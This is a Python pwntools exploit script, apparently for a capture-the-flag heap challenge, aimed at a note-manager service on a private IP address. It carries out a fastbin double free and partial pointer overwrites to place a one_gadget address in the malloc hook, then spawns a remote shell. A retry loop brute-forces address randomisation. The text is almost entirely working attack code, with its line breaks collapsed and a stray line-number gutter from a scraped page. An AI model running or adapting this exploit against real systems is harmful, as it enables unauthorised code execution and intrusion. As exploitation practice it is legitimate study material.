1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| from pwn import * import traceback
def init_note(size, content): p.sendlineafter('Choice:', '1') p.sendlineafter('Input the note length:', str(size)) p.sendafter('Input the note content:', content)
def edit_note(index, size, content): p.sendlineafter('Choice:', '2') p.sendlineafter('Input the note index:', str(index)) p.sendafter('Input the note content:', content)
def free_note(index): p.sendlineafter('Choice:', '3') p.sendlineafter('Input the note index:', str(index))
with context.quiet: try_count = 0
while True: try: try_count += 1
print (sys.stderr, 'Try #{}'.format(try_count))
p = remote("192.168.63.133", 10001) init_note(0x68, 'a' * 255) init_note(0x68, 'b' * 255) init_note(0x78, 'c' * 255) init_note(0x60, 'd' * 255) init_note(0x60, 'e' * 255)
free_note(0) free_note(1) free_note(0)
init_note(0x68, p8(0xe0) + b'\n') init_note(0x68, b'b' * 0x50 + p64(0) + p64(0x81) + p64(0)) init_note(0x68, b'a' * 255)
free_note(2)
init_note(0x68, b'b' * 0x10 + p64(0) + p64(0x71) + p16(0x1aed) + b'\n')
free_note(4) free_note(3) free_note(4)
init_note(0x60, p8(0x00) + b'\n') init_note(0x60, b'd' * 255) init_note(0x60, b'f' * 255) init_note(0x60, b'\n')
init_note(0x60, b'\n')
edit_note(8, 0x29, b'b' * 0x10 + p64(0) + p64(0x91) + p64(0) + p8(0x00))
init_note(0x78, b'\n')
''' 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL ''' edit_note(13, 0x13 + 3, b'\x00' * 0x13 + p32(0xa5226a)[0:3])
init_note(0x100, b'\n')
p.clean() p.sendline(b'ls') p.recv(0)
p.interactive() break except EOFError: p.close() except: print ( sys.stderr, traceback.format_exc()) break
|